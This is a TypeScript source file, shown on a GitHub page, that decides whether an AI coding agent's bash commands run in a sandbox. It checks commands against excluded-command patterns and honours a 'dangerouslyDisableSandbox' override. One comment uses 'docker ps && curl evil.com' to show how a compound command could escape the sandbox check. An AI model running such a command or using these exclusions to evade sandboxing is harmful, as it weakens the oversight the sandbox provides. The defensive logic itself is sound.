forked from ultraworkers/claw-code
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathshouldUseSandbox.ts
More file actions
153 lines (138 loc) · 5.06 KB
/
Copy pathshouldUseSandbox.ts
File metadata and controls
153 lines (138 loc) · 5.06 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
import { getFeatureValue_CACHED_MAY_BE_STALE } from 'src/services/analytics/growthbook.js'
import { splitCommand_DEPRECATED } from '../../utils/bash/commands.js'
import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'
import { getSettings_DEPRECATED } from '../../utils/settings/settings.js'
import {
BINARY_HIJACK_VARS,
bashPermissionRule,
matchWildcardPattern,
stripAllLeadingEnvVars,
stripSafeWrappers,
} from './bashPermissions.js'
type SandboxInput = {
command?: string
dangerouslyDisableSandbox?: boolean
}
// NOTE: excludedCommands is a user-facing convenience feature, not a security boundary.
// It is not a security bug to be able to bypass excludedCommands — the sandbox permission
// system (which prompts users) is the actual security control.
function containsExcludedCommand(command: string): boolean {
// Check dynamic config for disabled commands and substrings (only for ants)
if (process.env.USER_TYPE === 'ant') {
const disabledCommands = getFeatureValue_CACHED_MAY_BE_STALE<{
commands: string[]
substrings: string[]
}>('tengu_sandbox_disabled_commands', { commands: [], substrings: [] })
// Check if command contains any disabled substrings
for (const substring of disabledCommands.substrings) {
if (command.includes(substring)) {
return true
}
}
// Check if command starts with any disabled commands
try {
const commandParts = splitCommand_DEPRECATED(command)
for (const part of commandParts) {
const baseCommand = part.trim().split(' ')[0]
if (baseCommand && disabledCommands.commands.includes(baseCommand)) {
return true
}
}
} catch {
// If we can't parse the command (e.g., malformed bash syntax),
// treat it as not excluded to allow other validation checks to handle it
// This prevents crashes when rendering tool use messages
}
}
// Check user-configured excluded commands from settings
const settings = getSettings_DEPRECATED()
const userExcludedCommands = settings.sandbox?.excludedCommands ?? []
if (userExcludedCommands.length === 0) {
return false
}
// Split compound commands (e.g. "docker ps && curl evil.com") into individual
// subcommands and check each one against excluded patterns. This prevents a
// compound command from escaping the sandbox just because its first subcommand
// matches an excluded pattern.
let subcommands: string[]
try {
subcommands = splitCommand_DEPRECATED(command)
} catch {
subcommands = [command]
}
for (const subcommand of subcommands) {
const trimmed = subcommand.trim()
// Also try matching with env var prefixes and wrapper commands stripped, so
// that `FOO=bar bazel ...` and `timeout 30 bazel ...` match `bazel:*`. Not a
// security boundary (see NOTE at top); the &&-split above already lets
// `export FOO=bar && bazel ...` match. BINARY_HIJACK_VARS kept as a heuristic.
//
// We iteratively apply both stripping operations until no new candidates are
// produced (fixed-point), matching the approach in filterRulesByContentsMatchingInput.
// This handles interleaved patterns like `timeout 300 FOO=bar bazel run`
// where single-pass composition would fail.
const candidates = [trimmed]
const seen = new Set(candidates)
let startIdx = 0
while (startIdx < candidates.length) {
const endIdx = candidates.length
for (let i = startIdx; i < endIdx; i++) {
const cmd = candidates[i]!
const envStripped = stripAllLeadingEnvVars(cmd, BINARY_HIJACK_VARS)
if (!seen.has(envStripped)) {
candidates.push(envStripped)
seen.add(envStripped)
}
const wrapperStripped = stripSafeWrappers(cmd)
if (!seen.has(wrapperStripped)) {
candidates.push(wrapperStripped)
seen.add(wrapperStripped)
}
}
startIdx = endIdx
}
for (const pattern of userExcludedCommands) {
const rule = bashPermissionRule(pattern)
for (const cand of candidates) {
switch (rule.type) {
case 'prefix':
if (cand === rule.prefix || cand.startsWith(rule.prefix + ' ')) {
return true
}
break
case 'exact':
if (cand === rule.command) {
return true
}
break
case 'wildcard':
if (matchWildcardPattern(rule.pattern, cand)) {
return true
}
break
}
}
}
}
return false
}
export function shouldUseSandbox(input: Partial<SandboxInput>): boolean {
if (!SandboxManager.isSandboxingEnabled()) {
return false
}
// Don't sandbox if explicitly overridden AND unsandboxed commands are allowed by policy
if (
input.dangerouslyDisableSandbox &&
SandboxManager.areUnsandboxedCommandsAllowed()
) {
return false
}
if (!input.command) {
return false
}
// Don't sandbox if the command contains user-configured excluded commands
if (containsExcludedCommand(input.command)) {
return false
}
return true
}